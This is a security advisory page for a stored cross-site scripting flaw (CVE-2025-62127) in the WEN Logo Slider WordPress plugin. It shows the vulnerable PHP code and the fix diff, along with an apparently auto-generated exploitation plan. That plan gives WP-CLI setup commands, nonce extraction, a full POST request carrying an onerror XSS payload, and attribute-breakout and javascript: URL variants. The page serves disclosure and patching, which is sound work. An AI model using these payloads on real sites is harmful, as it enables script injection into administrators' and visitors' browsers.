CVE-2025-62127

WEN Logo Slider <= 3.4.0 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.5
Patched in
5d
Time to patch

Description

The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.0
PublishedMay 7, 2026
Last updatedMay 11, 2026
Affected pluginwen-logo-slider

What Changed in the Fix

Changes introduced in v3.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-62127 (WEN Logo Slider) ## 1. Vulnerability Summary The **WEN Logo Slider** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** in versions up to and including 3.4.0. The vulnerability exists because the plugin fails to properly saniti…

Show full research plan

Exploitation Research Plan - CVE-2025-62127 (WEN Logo Slider)

1. Vulnerability Summary

The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 3.4.0. The vulnerability exists because the plugin fails to properly sanitize and escape slide metadata (specifically the slide title and potentially URLs) when rendering the slider on the frontend. This allows an authenticated attacker with Author level permissions or higher to inject malicious JavaScript into a slider, which then executes in the browser of any user (including administrators) who visits a page where the slider is displayed.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (used to update the logo_slider custom post type).
  • Vulnerable Parameters: slide_title[] and potentially slide_url[] (though slide_url is passed through esc_url in the admin view, it may be rendered differently on the frontend).
  • Authentication: Required (Author role or higher).
  • Preconditions: The attacker must be able to create or edit a post of type logo_slider.
  • Nonce Protection: The plugin uses a nonce field named ws_logo_slider_slides_nonce_field with the action ws_logo_slider_slides_nonce_action for verifying the slider's metadata updates.

3. Code Flow

  1. Entry Point: The attacker navigates to the editor for a logo_slider post (or creates a new one).
  2. Processing: Upon saving the post, WordPress triggers the saving logic for the custom post type.
  3. Storage: The plugin (likely in a save_post hook, though the specific save function was truncated in the source) iterates through the $_POST arrays for slide_title[], slide_url[], etc., and stores them as an array in the post meta key _wls_slides.
    • Reference: admin/partials/wen-logo-slider-slides.php shows $slides = get_post_meta( $post->ID, '_wls_slides', true );.
  4. Sink (Frontend): When the slider is rendered on a public page (typically via a shortcode like [wen_logo_slider]), the plugin retrieves the _wls_slides meta and echoes the title field without sufficient escaping (e.g., using echo $slide['title'] instead of echo esc_html($slide['title'])).

4. Nonce Acquisition Strategy

To update a slider, the attacker needs a valid nonce for the ws_logo_slider_slides_nonce_action.

  1. Create a Slider: Use WP-CLI to create a slider post so we have an ID to work with.
    wp post create --post_type=logo_slider --post_title="Malicious Slider" --post_status=publish --post_author=[AUTHOR_ID]
    
  2. Navigate to Editor: Use the browser_navigate tool to go to the edit page for that post: /wp-admin/post.php?post=[POST_ID]&action=edit.
  3. Extract Nonce: Use browser_eval to extract the nonce value from the hidden input field.
    • JavaScript Variable: document.getElementById("ws_logo_slider_slides_nonce_field").value

5. Exploitation Strategy

  1. Authentication: Log in as a user with the Author role.
  2. Setup Post: Create a logo_slider post (if not already done).
  3. Obtain Nonce: Extract ws_logo_slider_slides_nonce_field from the edit page.
  4. Inject Payload: Submit an HTTP POST request to wp-admin/post.php to update the slider metadata with a malicious title.
    • URL: https://[TARGET]/wp-admin/post.php
    • Method: POST
    • Body (URL-encoded):
      action=editpost
      post_ID=[POST_ID]
      ws_logo_slider_slides_nonce_field=[NONCE]
      _wp_http_referer=/wp-admin/post.php?post=[POST_ID]&action=edit
      slide_title[]=<img src=x onerror=alert(document.domain)>
      slide_url[]=#
      slide_image_id[]=0
      slide_new_window[]=no
      save=Update
      
  5. Trigger Execution:
    • Identify the shortcode. It is typically [wen_logo_slider id="[POST_ID]"].
    • Create a public page/post containing this shortcode.
    • Navigate to this page as an Administrator to trigger the XSS.

6. Test Data Setup

  1. User: Create an Author user.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Slider Post: Create a logo_slider post owned by the Author.
    POST_ID=$(wp post create --post_type=logo_slider --post_title="Exploit Slider" --post_status=publish --post_author=$(wp user get attacker --field=ID) --parsable)
    
  3. Public Page: Create a page to host the slider.
    wp post create --post_type=page --post_title="Slider Showcase" --post_content="[wen_logo_slider id='$POST_ID']" --post_status=publish
    

7. Expected Results

  • The POST request to post.php should return a 302 Redirect back to the editor, indicating success.
  • When the "Slider Showcase" page is viewed, the browser should execute alert(document.domain).

8. Verification Steps

  1. Check Database Meta: Verify the payload is stored correctly in the database.
    wp post meta get [POST_ID] _wls_slides
    
    Look for the <img src=x ...> string in the serialized array.
  2. Check Frontend Output: Use the http_request tool to fetch the HTML of the "Slider Showcase" page and grep for the unescaped payload.
    # Expected unescaped output in the HTML source:
    <... alt="<img src=x onerror=alert(document.domain)>" ...> 
    # OR 
    <div class="caption"><img src=x onerror=alert(document.domain)></div>
    

9. Alternative Approaches

  • Payload Variations: If the payload is reflected inside a HTML attribute (like alt or title), use:
    " onmouseover="alert(1)" or "><script>alert(1)</script>.
  • Shortcode Discovery: If the standard shortcode [wen_logo_slider id="..."] fails, check the plugin's public/class-wen-logo-slider-public.php (if available) or readme.txt for the correct shortcode syntax. Based on the README, the plugin "Multiple slideshows" feature implies the id or post_id attribute is required.
  • Other Fields: If slide_title is sanitized, try slide_url with a javascript:alert(1) payload, as the admin side uses esc_url but the frontend might use a raw output or fail to validate the protocol.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of slide metadata, particularly the slide title. Authenticated attackers with Author-level permissions or higher can inject malicious JavaScript into a slider, which executes when an administrator or visitor views the slider on the site or within the WordPress dashboard.

Vulnerable Code

// admin/class-wen-logo-slider-admin.php @ 3.4.0 (Saving Logic - line 437)
foreach ( $slide_title_array as $key => $title ) {

    $slides_array[] = array(
        'title'             => $title,
        'url'               => $_POST['slide_url'][$key],
        'slide_image_id'    => $_POST['slide_image_id'][$key],
        'slide_new_window'  => $_POST['slide_new_window'][$key],
    );
}

// ...

update_post_meta( $post_id, '_wls_slides', $slides_array );

---

// admin/class-wen-logo-slider-admin.php @ 3.4.0 (Admin Column Sink - line 461)
function usage_column_content( $column_name, $post_id ){
	switch ( $column_name ) {
		case 'id':
			echo $post_id;
			break;

		case 'usage':
			echo '<code>[WLS id="' . $post_id . '"]</code>';
			break;

		case 'slides':
            // ...
			if( !empty( $slides ) ){
				$img_id = $slides[0]['slide_image_id'];
				$src = wp_get_attachment_thumb_url( $img_id );
			
				echo '<img src="'.$src.'"  height="100" alt="'.$slides[0]['title'].'" title="'.$slides[0]['title'].'">';					
			}			
		break;

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wen-logo-slider/3.4.0/admin/class-wen-logo-slider-admin.php	2024-09-13 11:15:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wen-logo-slider/3.5/admin/class-wen-logo-slider-admin.php	2025-12-28 14:53:08.000000000 +0000
@@ -341,17 +340,26 @@
 
 	function usage_box_callback( $post ){
 		?>
-		<h4><?php _e( 'Shortcode', 'wen-logo-slider' ); ?></h4>
-		<p><?php _e( 'Copy and paste this shortcode directly into any WordPress post or page.', 'wen-logo-slider' ); ?></p>
-		<input type="text" class="large-text code" readonly="readonly" value='<?php echo '[WLS id="'.$post->ID.'"]'; ?>' />
-
-		<h4><?php _e( 'Template Include', 'wen-logo-slider' ); ?></h4>
-		<p><?php _e( 'Copy and paste this code into a template file to include the slider within your theme.', 'wen-logo-slider' ); ?></p>
-		<input type="text" class="large-text code" readonly="readonly" value="&lt;?php echo do_shortcode(&quot;[WLS id='<?php echo $post->ID; ?>']&quot;); ?&gt;" />
+		<h4><?php esc_html_e( 'Shortcode', 'wen-logo-slider' ); ?></h4>
+		<p><?php esc_html_e( 'Copy and paste this shortcode directly into any WordPress post or page.', 'wen-logo-slider' ); ?></p>
+		<input
+		    type="text"
+		    class="large-text code"
+		    readonly="readonly"
+		    value="<?php echo esc_attr( '[WLS id="' . $post->ID . '"]' ); ?>"
+		/>
+		<h4><?php esc_html_e( 'Template Include', 'wen-logo-slider' ); ?></h4>
+		<p><?php esc_html_e( 'Copy and paste this code into a template file to include the slider within your theme.', 'wen-logo-slider' ); ?></p>
+		<input
+		    type="text"
+		    class="large-text code"
+		    readonly="readonly"
+		    value="<?php echo esc_attr( '<?php echo do_shortcode("[WLS id=\'' . $post->ID . '\']"); ?>' ); ?>"
+		/>
 		<?php
 	}
 
@@ -463,11 +471,11 @@
 	function usage_column_content( $column_name, $post_id ){
 		switch ( $column_name ) {
 			case 'id':
-				echo $post_id;
+				echo esc_html( $post_id );
 				break;
 
 			case 'usage':
-				echo '<code>[WLS id="' . $post_id . '"]</code>';
+				echo '<code>' . esc_html( '[WLS id="' . $post_id . '"]' ) . '</code>';
 				break;
 
 			case 'slides':
@@ -479,10 +487,11 @@
 				if( !empty( $slides ) ){
 					$img_id = $slides[0]['slide_image_id'];
 					$src = wp_get_attachment_thumb_url( $img_id );
-			
-					echo '<img src="'.$src.'"  height="100" alt="'.$slides[0]['title'].'" title="'.$slides[0]['title'].'">';					
-				}			
-			break;			
+					$title  = isset( $slides[0]['title'] ) ? $slides[0]['title'] : '';
+
+					echo '<img src="' . esc_url( $src ) . '" height="100" alt="' . esc_attr( $title ) . '" title="' . esc_attr( $title ) . '">';
+				}
+			break;

Exploit Outline

1. Authentication: Log in to the target WordPress site with an account having at least Author-level permissions. 2. Nonce Retrieval: Access the slider editor for a 'logo_slider' custom post type and capture the 'ws_logo_slider_slides_nonce_field' value. 3. Payload Injection: Send an HTTP POST request to /wp-admin/post.php with 'action=editpost' and the captured nonce. In the 'slide_title[]' parameter, provide an XSS payload such as <img src=x onerror=alert(document.domain)>. 4. Execution (Admin): Navigate to the 'Logo Slider' listing page in the dashboard. The payload will execute in the context of the administrator's session due to the unescaped rendering in the admin column. 5. Execution (Frontend): Embed the slider's shortcode [WLS id="POST_ID"] into a public page. When any user visits that page, the script will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.